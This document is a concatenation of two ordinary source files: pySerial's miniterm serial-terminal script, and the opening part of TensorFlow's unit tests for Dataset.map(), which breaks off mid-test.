#!/mnt/c/prog/hack/TigerHacks/env/bin/python3 # # Very simple serial terminal # # This file is part of pySerial. https://github.com/pyserial/pyserial # (C)2002-2015 Chris Liechti <cliechti@gmx.net> # # SPDX-License-Identifier: BSD-3-Clause import codecs import os import sys import threading import serial from serial.tools.list_ports import comports from serial.tools import hexlify_codec # pylint: disable=wrong-import-order,wrong-import-position codecs.register(lambda c: hexlify_codec.getregentry() if c == 'hexlify' else None) try: raw_input except NameError: # pylint: disable=redefined-builtin,invalid-name raw_input = input # in python3 it's "raw" unichr = chr def key_description(character): """generate a readable description for a key""" ascii_code = ord(character) if ascii_code < 32: return 'Ctrl+{:c}'.format(ord('@') + ascii_code) else: return repr(character) # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - class ConsoleBase(object): """OS abstraction for console (input/output codec, no echo)""" def __init__(self): if sys.version_info >= (3, 0): self.byte_output = sys.stdout.buffer else: self.byte_output = sys.stdout self.output = sys.stdout def setup(self): """Set console to read single characters, no echo""" def cleanup(self): """Restore default console settings""" def getkey(self): """Read a single key from the console""" return None def write_bytes(self, byte_string): """Write bytes (already encoded)""" self.byte_output.write(byte_string) self.byte_output.flush() def write(self, text): """Write string""" self.output.write(text) self.output.flush() def cancel(self): """Cancel getkey operation""" # - - - - - - - - - - - - - - - - - - - - - - - - # context manager: # switch terminal temporary to normal mode (e.g. to get user input) def __enter__(self): self.cleanup() return self def __exit__(self, *args, **kwargs): self.setup() if os.name == 'nt': # noqa import msvcrt import ctypes class Out(object): """file-like wrapper that uses os.write""" def __init__(self, fd): self.fd = fd def flush(self): pass def write(self, s): os.write(self.fd, s) class Console(ConsoleBase): def __init__(self): super(Console, self).__init__() self._saved_ocp = ctypes.windll.kernel32.GetConsoleOutputCP() self._saved_icp = ctypes.windll.kernel32.GetConsoleCP() ctypes.windll.kernel32.SetConsoleOutputCP(65001) ctypes.windll.kernel32.SetConsoleCP(65001) self.output = codecs.getwriter('UTF-8')(Out(sys.stdout.fileno()), 'replace') # the change of the code page is not propagated to Python, manually fix it sys.stderr = codecs.getwriter('UTF-8')(Out(sys.stderr.fileno()), 'replace') sys.stdout = self.output self.output.encoding = 'UTF-8' # needed for input def __del__(self): ctypes.windll.kernel32.SetConsoleOutputCP(self._saved_ocp) ctypes.windll.kernel32.SetConsoleCP(self._saved_icp) def getkey(self): while True: z = msvcrt.getwch() if z == unichr(13): return unichr(10) elif z in (unichr(0), unichr(0x0e)): # functions keys, ignore msvcrt.getwch() else: return z def cancel(self): # CancelIo, CancelSynchronousIo do not seem to work when using # getwch, so instead, send a key to the window with the console hwnd = ctypes.windll.kernel32.GetConsoleWindow() ctypes.windll.user32.PostMessageA(hwnd, 0x100, 0x0d, 0) elif os.name == 'posix': import atexit import termios import fcntl class Console(ConsoleBase): def __init__(self): super(Console, self).__init__() self.fd = sys.stdin.fileno() self.old = termios.tcgetattr(self.fd) atexit.register(self.cleanup) if sys.version_info < (3, 0): self.enc_stdin = codecs.getreader(sys.stdin.encoding)(sys.stdin) else: self.enc_stdin = sys.stdin def setup(self): new = termios.tcgetattr(self.fd) new[3] = new[3] & ~termios.ICANON & ~termios.ECHO & ~termios.ISIG new[6][termios.VMIN] = 1 new[6][termios.VTIME] = 0 termios.tcsetattr(self.fd, termios.TCSANOW, new) def getkey(self): c = self.enc_stdin.read(1) if c == unichr(0x7f): c = unichr(8) # map the BS key (which yields DEL) to backspace return c def cancel(self): fcntl.ioctl(self.fd, termios.TIOCSTI, b'\0') def cleanup(self): termios.tcsetattr(self.fd, termios.TCSAFLUSH, self.old) else: raise NotImplementedError( 'Sorry no implementation for your platform ({}) available.'.format(sys.platform)) # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - class Transform(object): """do-nothing: forward all data unchanged""" def rx(self, text): """text received from serial port""" return text def tx(self, text): """text to be sent to serial port""" return text def echo(self, text): """text to be sent but displayed on console""" return text class CRLF(Transform): """ENTER sends CR+LF""" def tx(self, text): return text.replace('\n', '\r\n') class CR(Transform): """ENTER sends CR""" def rx(self, text): return text.replace('\r', '\n') def tx(self, text): return text.replace('\n', '\r') class LF(Transform): """ENTER sends LF""" class NoTerminal(Transform): """remove typical terminal control codes from input""" REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32) if unichr(x) not in '\r\n\b\t') REPLACEMENT_MAP.update( { 0x7F: 0x2421, # DEL 0x9B: 0x2425, # CSI }) def rx(self, text): return text.translate(self.REPLACEMENT_MAP) echo = rx class NoControls(NoTerminal): """Remove all control codes, incl. CR+LF""" REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32)) REPLACEMENT_MAP.update( { 0x20: 0x2423, # visual space 0x7F: 0x2421, # DEL 0x9B: 0x2425, # CSI }) class Printable(Transform): """Show decimal code for all non-ASCII characters and replace most control codes""" def rx(self, text): r = [] for c in text: if ' ' <= c < '\x7f' or c in '\r\n\b\t': r.append(c) elif c < ' ': r.append(unichr(0x2400 + ord(c))) else: r.extend(unichr(0x2080 + ord(d) - 48) for d in '{:d}'.format(ord(c))) r.append(' ') return ''.join(r) echo = rx class Colorize(Transform): """Apply different colors for received and echo""" def __init__(self): # XXX make it configurable, use colorama? self.input_color = '\x1b[37m' self.echo_color = '\x1b[31m' def rx(self, text): return self.input_color + text def echo(self, text): return self.echo_color + text class DebugIO(Transform): """Print what is sent and received""" def rx(self, text): sys.stderr.write(' [RX:{}] '.format(repr(text))) sys.stderr.flush() return text def tx(self, text): sys.stderr.write(' [TX:{}] '.format(repr(text))) sys.stderr.flush() return text # other ideas: # - add date/time for each newline # - insert newline after: a) timeout b) packet end character EOL_TRANSFORMATIONS = { 'crlf': CRLF, 'cr': CR, 'lf': LF, } TRANSFORMATIONS = { 'direct': Transform, # no transformation 'default': NoTerminal, 'nocontrol': NoControls, 'printable': Printable, 'colorize': Colorize, 'debug': DebugIO, } # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - def ask_for_port(): """\ Show a list of ports and ask the user for a choice. To make selection easier on systems with long device names, also allow the input of an index. """ sys.stderr.write('\n--- Available ports:\n') ports = [] for n, (port, desc, hwid) in enumerate(sorted(comports()), 1): sys.stderr.write('--- {:2}: {:20} {!r}\n'.format(n, port, desc)) ports.append(port) while True: port = raw_input('--- Enter port index or full name: ') try: index = int(port) - 1 if not 0 <= index < len(ports): sys.stderr.write('--- Invalid index!\n') continue except ValueError: pass else: port = ports[index] return port class Miniterm(object): """\ Terminal application. Copy data from serial port to console and vice versa. Handle special keys from the console to show menu etc. """ def __init__(self, serial_instance, echo=False, eol='crlf', filters=()): self.console = Console() self.serial = serial_instance self.echo = echo self.raw = False self.input_encoding = 'UTF-8' self.output_encoding = 'UTF-8' self.eol = eol self.filters = filters self.update_transformations() self.exit_character = 0x1d # GS/CTRL+] self.menu_character = 0x14 # Menu: CTRL+T self.alive = None self._reader_alive = None self.receiver_thread = None self.rx_decoder = None self.tx_decoder = None def _start_reader(self): """Start reader thread""" self._reader_alive = True # start serial->console thread self.receiver_thread = threading.Thread(target=self.reader, name='rx') self.receiver_thread.daemon = True self.receiver_thread.start() def _stop_reader(self): """Stop reader thread only, wait for clean exit of thread""" self._reader_alive = False if hasattr(self.serial, 'cancel_read'): self.serial.cancel_read() self.receiver_thread.join() def start(self): """start worker threads""" self.alive = True self._start_reader() # enter console->serial loop self.transmitter_thread = threading.Thread(target=self.writer, name='tx') self.transmitter_thread.daemon = True self.transmitter_thread.start() self.console.setup() def stop(self): """set flag to stop worker threads""" self.alive = False def join(self, transmit_only=False): """wait for worker threads to terminate""" self.transmitter_thread.join() if not transmit_only: if hasattr(self.serial, 'cancel_read'): self.serial.cancel_read() self.receiver_thread.join() def close(self): self.serial.close() def update_transformations(self): """take list of transformation classes and instantiate them for rx and tx""" transformations = [EOL_TRANSFORMATIONS[self.eol]] + [TRANSFORMATIONS[f] for f in self.filters] self.tx_transformations = [t() for t in transformations] self.rx_transformations = list(reversed(self.tx_transformations)) def set_rx_encoding(self, encoding, errors='replace'): """set encoding for received data""" self.input_encoding = encoding self.rx_decoder = codecs.getincrementaldecoder(encoding)(errors) def set_tx_encoding(self, encoding, errors='replace'): """set encoding for transmitted data""" self.output_encoding = encoding self.tx_encoder = codecs.getincrementalencoder(encoding)(errors) def dump_port_settings(self): """Write current settings to sys.stderr""" sys.stderr.write("\n--- Settings: {p.name} {p.baudrate},{p.bytesize},{p.parity},{p.stopbits}\n".format( p=self.serial)) sys.stderr.write('--- RTS: {:8} DTR: {:8} BREAK: {:8}\n'.format( ('active' if self.serial.rts else 'inactive'), ('active' if self.serial.dtr else 'inactive'), ('active' if self.serial.break_condition else 'inactive'))) try: sys.stderr.write('--- CTS: {:8} DSR: {:8} RI: {:8} CD: {:8}\n'.format( ('active' if self.serial.cts else 'inactive'), ('active' if self.serial.dsr else 'inactive'), ('active' if self.serial.ri else 'inactive'), ('active' if self.serial.cd else 'inactive'))) except serial.SerialException: # on RFC 2217 ports, it can happen if no modem state notification was # yet received. ignore this error. pass sys.stderr.write('--- software flow control: {}\n'.format('active' if self.serial.xonxoff else 'inactive')) sys.stderr.write('--- hardware flow control: {}\n'.format('active' if self.serial.rtscts else 'inactive')) sys.stderr.write('--- serial input encoding: {}\n'.format(self.input_encoding)) sys.stderr.write('--- serial output encoding: {}\n'.format(self.output_encoding)) sys.stderr.write('--- EOL: {}\n'.format(self.eol.upper())) sys.stderr.write('--- filters: {}\n'.format(' '.join(self.filters))) def reader(self): """loop and copy serial->console""" try: while self.alive and self._reader_alive: # read all that is there or wait for one byte data = self.serial.read(self.serial.in_waiting or 1) if data: if self.raw: self.console.write_bytes(data) else: text = self.rx_decoder.decode(data) for transformation in self.rx_transformations: text = transformation.rx(text) self.console.write(text) except serial.SerialException: self.alive = False self.console.cancel() raise # XXX handle instead of re-raise? def writer(self): """\ Loop and copy console->serial until self.exit_character character is found. When self.menu_character is found, interpret the next key locally. """ menu_active = False try: while self.alive: try: c = self.console.getkey() except KeyboardInterrupt: c = '\x03' if not self.alive: break if menu_active: self.handle_menu_key(c) menu_active = False elif c == self.menu_character: menu_active = True # next char will be for menu elif c == self.exit_character: self.stop() # exit app break else: #~ if self.raw: text = c for transformation in self.tx_transformations: text = transformation.tx(text) self.serial.write(self.tx_encoder.encode(text)) if self.echo: echo_text = c for transformation in self.tx_transformations: echo_text = transformation.echo(echo_text) self.console.write(echo_text) except: self.alive = False raise def handle_menu_key(self, c): """Implement a simple menu / settings""" if c == self.menu_character or c == self.exit_character: # Menu/exit character again -> send itself self.serial.write(self.tx_encoder.encode(c)) if self.echo: self.console.write(c) elif c == '\x15': # CTRL+U -> upload file self.upload_file() elif c in '\x08hH?': # CTRL+H, h, H, ? -> Show help sys.stderr.write(self.get_help_text()) elif c == '\x12': # CTRL+R -> Toggle RTS self.serial.rts = not self.serial.rts sys.stderr.write('--- RTS {} ---\n'.format('active' if self.serial.rts else 'inactive')) elif c == '\x04': # CTRL+D -> Toggle DTR self.serial.dtr = not self.serial.dtr sys.stderr.write('--- DTR {} ---\n'.format('active' if self.serial.dtr else 'inactive')) elif c == '\x02': # CTRL+B -> toggle BREAK condition self.serial.break_condition = not self.serial.break_condition sys.stderr.write('--- BREAK {} ---\n'.format('active' if self.serial.break_condition else 'inactive')) elif c == '\x05': # CTRL+E -> toggle local echo self.echo = not self.echo sys.stderr.write('--- local echo {} ---\n'.format('active' if self.echo else 'inactive')) elif c == '\x06': # CTRL+F -> edit filters self.change_filter() elif c == '\x0c': # CTRL+L -> EOL mode modes = list(EOL_TRANSFORMATIONS) # keys eol = modes.index(self.eol) + 1 if eol >= len(modes): eol = 0 self.eol = modes[eol] sys.stderr.write('--- EOL: {} ---\n'.format(self.eol.upper())) self.update_transformations() elif c == '\x01': # CTRL+A -> set encoding self.change_encoding() elif c == '\x09': # CTRL+I -> info self.dump_port_settings() #~ elif c == '\x01': # CTRL+A -> cycle escape mode #~ elif c == '\x0c': # CTRL+L -> cycle linefeed mode elif c in 'pP': # P -> change port self.change_port() elif c in 'sS': # S -> suspend / open port temporarily self.suspend_port() elif c in 'bB': # B -> change baudrate self.change_baudrate() elif c == '8': # 8 -> change to 8 bits self.serial.bytesize = serial.EIGHTBITS self.dump_port_settings() elif c == '7': # 7 -> change to 8 bits self.serial.bytesize = serial.SEVENBITS self.dump_port_settings() elif c in 'eE': # E -> change to even parity self.serial.parity = serial.PARITY_EVEN self.dump_port_settings() elif c in 'oO': # O -> change to odd parity self.serial.parity = serial.PARITY_ODD self.dump_port_settings() elif c in 'mM': # M -> change to mark parity self.serial.parity = serial.PARITY_MARK self.dump_port_settings() elif c in 'sS': # S -> change to space parity self.serial.parity = serial.PARITY_SPACE self.dump_port_settings() elif c in 'nN': # N -> change to no parity self.serial.parity = serial.PARITY_NONE self.dump_port_settings() elif c == '1': # 1 -> change to 1 stop bits self.serial.stopbits = serial.STOPBITS_ONE self.dump_port_settings() elif c == '2': # 2 -> change to 2 stop bits self.serial.stopbits = serial.STOPBITS_TWO self.dump_port_settings() elif c == '3': # 3 -> change to 1.5 stop bits self.serial.stopbits = serial.STOPBITS_ONE_POINT_FIVE self.dump_port_settings() elif c in 'xX': # X -> change software flow control self.serial.xonxoff = (c == 'X') self.dump_port_settings() elif c in 'rR': # R -> change hardware flow control self.serial.rtscts = (c == 'R') self.dump_port_settings() else: sys.stderr.write('--- unknown menu character {} --\n'.format(key_description(c))) def upload_file(self): """Ask user for filenname and send its contents""" sys.stderr.write('\n--- File to upload: ') sys.stderr.flush() with self.console: filename = sys.stdin.readline().rstrip('\r\n') if filename: try: with open(filename, 'rb') as f: sys.stderr.write('--- Sending file {} ---\n'.format(filename)) while True: block = f.read(1024) if not block: break self.serial.write(block) # Wait for output buffer to drain. self.serial.flush() sys.stderr.write('.') # Progress indicator. sys.stderr.write('\n--- File {} sent ---\n'.format(filename)) except IOError as e: sys.stderr.write('--- ERROR opening file {}: {} ---\n'.format(filename, e)) def change_filter(self): """change the i/o transformations""" sys.stderr.write('\n--- Available Filters:\n') sys.stderr.write('\n'.join( '--- {:<10} = {.__doc__}'.format(k, v) for k, v in sorted(TRANSFORMATIONS.items()))) sys.stderr.write('\n--- Enter new filter name(s) [{}]: '.format(' '.join(self.filters))) with self.console: new_filters = sys.stdin.readline().lower().split() if new_filters: for f in new_filters: if f not in TRANSFORMATIONS: sys.stderr.write('--- unknown filter: {}\n'.format(repr(f))) break else: self.filters = new_filters self.update_transformations() sys.stderr.write('--- filters: {}\n'.format(' '.join(self.filters))) def change_encoding(self): """change encoding on the serial port""" sys.stderr.write('\n--- Enter new encoding name [{}]: '.format(self.input_encoding)) with self.console: new_encoding = sys.stdin.readline().strip() if new_encoding: try: codecs.lookup(new_encoding) except LookupError: sys.stderr.write('--- invalid encoding name: {}\n'.format(new_encoding)) else: self.set_rx_encoding(new_encoding) self.set_tx_encoding(new_encoding) sys.stderr.write('--- serial input encoding: {}\n'.format(self.input_encoding)) sys.stderr.write('--- serial output encoding: {}\n'.format(self.output_encoding)) def change_baudrate(self): """change the baudrate""" sys.stderr.write('\n--- Baudrate: ') sys.stderr.flush() with self.console: backup = self.serial.baudrate try: self.serial.baudrate = int(sys.stdin.readline().strip()) except ValueError as e: sys.stderr.write('--- ERROR setting baudrate: {} ---\n'.format(e)) self.serial.baudrate = backup else: self.dump_port_settings() def change_port(self): """Have a conversation with the user to change the serial port""" with self.console: try: port = ask_for_port() except KeyboardInterrupt: port = None if port and port != self.serial.port: # reader thread needs to be shut down self._stop_reader() # save settings settings = self.serial.getSettingsDict() try: new_serial = serial.serial_for_url(port, do_not_open=True) # restore settings and open new_serial.applySettingsDict(settings) new_serial.rts = self.serial.rts new_serial.dtr = self.serial.dtr new_serial.open() new_serial.break_condition = self.serial.break_condition except Exception as e: sys.stderr.write('--- ERROR opening new port: {} ---\n'.format(e)) new_serial.close() else: self.serial.close() self.serial = new_serial sys.stderr.write('--- Port changed to: {} ---\n'.format(self.serial.port)) # and restart the reader thread self._start_reader() def suspend_port(self): """\ open port temporarily, allow reconnect, exit and port change to get out of the loop """ # reader thread needs to be shut down self._stop_reader() self.serial.close() sys.stderr.write('\n--- Port closed: {} ---\n'.format(self.serial.port)) do_change_port = False while not self.serial.is_open: sys.stderr.write('--- Quit: {exit} | p: port change | any other key to reconnect ---\n'.format( exit=key_description(self.exit_character))) k = self.console.getkey() if k == self.exit_character: self.stop() # exit app break elif k in 'pP': do_change_port = True break try: self.serial.open() except Exception as e: sys.stderr.write('--- ERROR opening port: {} ---\n'.format(e)) if do_change_port: self.change_port() else: # and restart the reader thread self._start_reader() sys.stderr.write('--- Port opened: {} ---\n'.format(self.serial.port)) def get_help_text(self): """return the help text""" # help text, starts with blank line! return """ --- pySerial ({version}) - miniterm - help --- --- {exit:8} Exit program --- {menu:8} Menu escape key, followed by: --- Menu keys: --- {menu:7} Send the menu character itself to remote --- {exit:7} Send the exit character itself to remote --- {info:7} Show info --- {upload:7} Upload file (prompt will be shown) --- {repr:7} encoding --- {filter:7} edit filters --- Toggles: --- {rts:7} RTS {dtr:7} DTR {brk:7} BREAK --- {echo:7} echo {eol:7} EOL --- --- Port settings ({menu} followed by the following): --- p change port --- 7 8 set data bits --- N E O S M change parity (None, Even, Odd, Space, Mark) --- 1 2 3 set stop bits (1, 2, 1.5) --- b change baud rate --- x X disable/enable software flow control --- r R disable/enable hardware flow control """.format(version=getattr(serial, 'VERSION', 'unknown version'), exit=key_description(self.exit_character), menu=key_description(self.menu_character), rts=key_description('\x12'), dtr=key_description('\x04'), brk=key_description('\x02'), echo=key_description('\x05'), info=key_description('\x09'), upload=key_description('\x15'), repr=key_description('\x01'), filter=key_description('\x06'), eol=key_description('\x0c')) # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # default args can be used to override when calling main() from an other script # e.g to create a miniterm-my-device.py def main(default_port=None, default_baudrate=9600, default_rts=None, default_dtr=None): """Command line tool, entry point""" import argparse parser = argparse.ArgumentParser( description="Miniterm - A simple terminal program for the serial port.") parser.add_argument( "port", nargs='?', help="serial port name ('-' to show port list)", default=default_port) parser.add_argument( "baudrate", nargs='?', type=int, help="set baud rate, default: %(default)s", default=default_baudrate) group = parser.add_argument_group("port settings") group.add_argument( "--parity", choices=['N', 'E', 'O', 'S', 'M'], type=lambda c: c.upper(), help="set parity, one of {N E O S M}, default: N", default='N') group.add_argument( "--rtscts", action="store_true", help="enable RTS/CTS flow control (default off)", default=False) group.add_argument( "--xonxoff", action="store_true", help="enable software flow control (default off)", default=False) group.add_argument( "--rts", type=int, help="set initial RTS line state (possible values: 0, 1)", default=default_rts) group.add_argument( "--dtr", type=int, help="set initial DTR line state (possible values: 0, 1)", default=default_dtr) group.add_argument( "--ask", action="store_true", help="ask again for port when open fails", default=False) group = parser.add_argument_group("data handling") group.add_argument( "-e", "--echo", action="store_true", help="enable local echo (default off)", default=False) group.add_argument( "--encoding", dest="serial_port_encoding", metavar="CODEC", help="set the encoding for the serial port (e.g. hexlify, Latin1, UTF-8), default: %(default)s", default='UTF-8') group.add_argument( "-f", "--filter", action="append", metavar="NAME", help="add text transformation", default=[]) group.add_argument( "--eol", choices=['CR', 'LF', 'CRLF'], type=lambda c: c.upper(), help="end of line mode", default='CRLF') group.add_argument( "--raw", action="store_true", help="Do no apply any encodings/transformations", default=False) group = parser.add_argument_group("hotkeys") group.add_argument( "--exit-char", type=int, metavar='NUM', help="Unicode of special character that is used to exit the application, default: %(default)s", default=0x1d) # GS/CTRL+] group.add_argument( "--menu-char", type=int, metavar='NUM', help="Unicode code of special character that is used to control miniterm (menu), default: %(default)s", default=0x14) # Menu: CTRL+T group = parser.add_argument_group("diagnostics") group.add_argument( "-q", "--quiet", action="store_true", help="suppress non-error messages", default=False) group.add_argument( "--develop", action="store_true", help="show Python traceback on error", default=False) args = parser.parse_args() if args.menu_char == args.exit_char: parser.error('--exit-char can not be the same as --menu-char') if args.filter: if 'help' in args.filter: sys.stderr.write('Available filters:\n') sys.stderr.write('\n'.join( '{:<10} = {.__doc__}'.format(k, v) for k, v in sorted(TRANSFORMATIONS.items()))) sys.stderr.write('\n') sys.exit(1) filters = args.filter else: filters = ['default'] while True: # no port given on command line -> ask user now if args.port is None or args.port == '-': try: args.port = ask_for_port() except KeyboardInterrupt: sys.stderr.write('\n') parser.error('user aborted and port is not given') else: if not args.port: parser.error('port is not given') try: serial_instance = serial.serial_for_url( args.port, args.baudrate, parity=args.parity, rtscts=args.rtscts, xonxoff=args.xonxoff, do_not_open=True) if not hasattr(serial_instance, 'cancel_read'): # enable timeout for alive flag polling if cancel_read is not available serial_instance.timeout = 1 if args.dtr is not None: if not args.quiet: sys.stderr.write('--- forcing DTR {}\n'.format('active' if args.dtr else 'inactive')) serial_instance.dtr = args.dtr if args.rts is not None: if not args.quiet: sys.stderr.write('--- forcing RTS {}\n'.format('active' if args.rts else 'inactive')) serial_instance.rts = args.rts serial_instance.open() except serial.SerialException as e: sys.stderr.write('could not open port {}: {}\n'.format(repr(args.port), e)) if args.develop: raise if not args.ask: sys.exit(1) else: args.port = '-' else: break miniterm = Miniterm( serial_instance, echo=args.echo, eol=args.eol.lower(), filters=filters) miniterm.exit_character = unichr(args.exit_char) miniterm.menu_character = unichr(args.menu_char) miniterm.raw = args.raw miniterm.set_rx_encoding(args.serial_port_encoding) miniterm.set_tx_encoding(args.serial_port_encoding) if not args.quiet: sys.stderr.write('--- Miniterm on {p.name} {p.baudrate},{p.bytesize},{p.parity},{p.stopbits} ---\n'.format( p=miniterm.serial)) sys.stderr.write('--- Quit: {} | Menu: {} | Help: {} followed by {} ---\n'.format( key_description(miniterm.exit_character), key_description(miniterm.menu_character), key_description(miniterm.menu_character), key_description('\x08'))) miniterm.start() try: miniterm.join(True) except KeyboardInterrupt: pass if not args.quiet: sys.stderr.write("\n--- exit ---\n") miniterm.join() miniterm.close() # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - if __name__ == '__main__': main()
map_test.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for `tf.data.Dataset.map()`.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import functools import threading import time import warnings from absl.testing import parameterized import numpy as np from tensorflow.core.framework import attr_value_pb2 from tensorflow.core.protobuf import config_pb2 from tensorflow.python import pywrap_sanitizers from tensorflow.python.data.kernel_tests import checkpoint_test_base from tensorflow.python.data.kernel_tests import test_base from tensorflow.python.data.ops import dataset_ops from tensorflow.python.data.ops import options as options_lib from tensorflow.python.eager import context from tensorflow.python.framework import combinations from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import function from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import tensor_util from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import data_flow_ops from tensorflow.python.ops import lookup_ops from tensorflow.python.ops import map_fn from tensorflow.python.ops import math_ops from tensorflow.python.ops import random_ops from tensorflow.python.ops import script_ops from tensorflow.python.ops import sparse_ops from tensorflow.python.ops import string_ops from tensorflow.python.ops import tensor_array_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables from tensorflow.python.ops.ragged import ragged_concat_ops from tensorflow.python.ops.ragged import ragged_factory_ops from tensorflow.python.ops.ragged import ragged_tensor from tensorflow.python.platform import test from tensorflow.python.training import checkpoint_management from tensorflow.python.training.tracking import util as trackable_utils try: import attr # pylint:disable=g-import-not-at-top except ImportError: attr = None def _test_combinations_with_mode_v1(mode): def new_map_fn(dataset, *args, **kwargs): return dataset.map(*args, **kwargs) def legacy_map_fn(dataset, *args, **kwargs): return dataset.map_with_legacy_function(*args, **kwargs) new_map_combinations = combinations.combine( tf_api_version=1, mode=mode, apply_map=combinations.NamedObject("map_fn", new_map_fn)) legacy_map_combinations = combinations.combine( tf_api_version=1, mode=mode, apply_map=combinations.NamedObject("legacy_map_fn", legacy_map_fn)) return new_map_combinations + legacy_map_combinations def _test_combinations_with_mode_v2(mode): def new_map_fn(dataset, *args, **kwargs): return dataset.map(*args, **kwargs) return combinations.combine( tf_api_version=2, mode=mode, apply_map=combinations.NamedObject("map_fn", new_map_fn)) def _test_combinations_with_mode(mode): return _test_combinations_with_mode_v1( mode) + _test_combinations_with_mode_v2(mode) def _test_combinations(): return _test_combinations_with_mode("eager") + _test_combinations_with_mode( "graph") def _short_circuit_test_cases(): cases = [ ("Identity", None, lambda x: x), ("Replicate", None, lambda x: (x, x)), ("Swap", (None, None), lambda x, y: (y, x)), ("Project", (None, None), lambda x, y: x) ] def reduce_fn(x, y): name, structure, fn = y return x + combinations.combine( structure=structure, fn=combinations.NamedObject(name, fn)) return functools.reduce(reduce_fn, cases, []) class Foo(object): """Dummy class used for invalid return value tests.""" def __init__(self): pass class MapTest(test_base.DatasetTestBase, parameterized.TestCase): def _map_dataset_factory(self, components, apply_map, count): def _map_fn(x, y, z): return math_ops.square(x), math_ops.square(y), math_ops.square(z) dataset = dataset_ops.Dataset.from_tensor_slices(components) dataset = apply_map(dataset, _map_fn).repeat(count) self.assertEqual( [c.shape[1:] for c in components], [shape for shape in dataset_ops.get_legacy_output_shapes(dataset)]) return dataset @combinations.generate(_test_combinations()) def testMapDataset(self, apply_map): """Test an dataset that maps a TF function across its input elements.""" # The pipeline is TensorSliceDataset -> MapDataset(square_3) -> # RepeatDataset(count). components = (np.arange(7), np.array([[1, 2, 3]]) * np.arange(7)[:, np.newaxis], np.array(37.0) * np.arange(7)) # Test single-threaded access to the iterator. get_next = self.getNext( self._map_dataset_factory(components, apply_map, count=14)) for _ in range(14): for i in range(7): result = self.evaluate(get_next()) for component, result_component in zip(components, result): self.assertAllEqual(component[i]**2, result_component) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) # TODO(b/117581999): add eager coverage @combinations.generate(_test_combinations_with_mode("graph")) def testMapDatasetMultiThreaded(self, apply_map): # Test multi-threaded access to the same iterator. components = (np.arange(7), np.array([[1, 2, 3]]) * np.arange(7)[:, np.newaxis], np.array(37.0) * np.arange(7)) get_next = self.getNext( self._map_dataset_factory(components, apply_map, count=18)) results = [] with self.cached_session() as sess: def iterator_thread(): while True: try: results.append(sess.run(get_next())) except errors.OutOfRangeError: return threads = [self.checkedThread(target=iterator_thread) for _ in range(8)] for t in threads: t.start() for t in threads: t.join() # `results` will contain the same elements components**2 # repeated 18 times, but in a non-deterministic order. Sort the # results, and assert that each element of components**2 is # produced 18 times. results.sort(key=lambda x: x[0]) for i in range(7): for j in range(18): for component, result_component in zip(components, results[i * 18 + j]): self.assertAllEqual(component[i]**2, result_component) def _parallel_map_dataset_factory(self, components, apply_map, count, num_parallel_calls, buffer_size): def _map_fn(x, y, z): return math_ops.square(x), math_ops.square(y), math_ops.square(z) dataset = dataset_ops.Dataset.from_tensor_slices(components) dataset = apply_map(dataset, _map_fn, num_parallel_calls=num_parallel_calls) dataset = dataset.prefetch(buffer_size).repeat(count) self.assertEqual( [c.shape[1:] for c in components], [shape for shape in dataset_ops.get_legacy_output_shapes(dataset)]) return dataset @combinations.generate( combinations.times( _test_combinations(), combinations.combine(num_parallel_calls=1, buffer_size=1) + combinations.combine(num_parallel_calls=1, buffer_size=2) + combinations.combine(num_parallel_calls=2, buffer_size=2) + combinations.combine(num_parallel_calls=2, buffer_size=4) + combinations.combine(num_parallel_calls=8, buffer_size=8) + combinations.combine(num_parallel_calls=8, buffer_size=16))) def testParallelMapDataset(self, apply_map, num_parallel_calls, buffer_size): """Test an dataset that maps a TF function across its input elements.""" # The pipeline is TensorSliceDataset -> ParallelMapDataset(square_3) -> # RepeatDataset(count). components = (np.arange(7), np.array([[1, 2, 3]]) * np.arange(7)[:, np.newaxis], np.array(37.0) * np.arange(7)) # Test single-threaded access to the iterator. get_next = self.getNext( self._parallel_map_dataset_factory(components, apply_map, 14, num_parallel_calls, buffer_size)) for _ in range(14): for i in range(7): result = self.evaluate(get_next()) for component, result_component in zip(components, result): self.assertAllEqual(component[i]**2, result_component) with self.assertRaises(errors.OutOfRangeError): self.evaluate(get_next()) # TODO(b/117581999): add eager coverage @combinations.generate( combinations.times( _test_combinations_with_mode("graph"), combinations.combine(num_parallel_calls=1, buffer_size=1) + combinations.combine(num_parallel_calls=1, buffer_size=2) + combinations.combine(num_parallel_calls=2, buffer_size=2) + combinations.combine(num_parallel_calls=2, buffer_size=4) + combinations.combine(num_parallel_calls=8, buffer_size=8) + combinations.combine(num_parallel_calls=8, buffer_size=16))) def testParallelMapDatasetMultiThreaded(self, apply_map, num_parallel_calls, buffer_size): # Test multi-threaded access to the same iterator. components = (np.arange(7), np.array([[1, 2, 3]]) * np.arange(7)[:, np.newaxis], np.array(37.0) * np.arange(7)) get_next = self.getNext( self._parallel_map_dataset_factory(components, apply_map, 18, num_parallel_calls, buffer_size)) results = [] with self.cached_session() as sess: def iterator_thread(): while True: try: results.append(sess.run(get_next())) except errors.OutOfRangeError: return threads = [self.checkedThread(target=iterator_thread) for _ in range(64)] for t in threads: t.start() for t in threads: t.join() # `results` will contain the same elements components**2 # repeated 18 times, but in a non-deterministic order. Sort the # results, and assert that each element of components**2 is # produced 18 times. results.sort(key=lambda x: x[0]) for i in range(7): for j in range(18): for component, result_component in zip(components, results[i * 18 + j]): 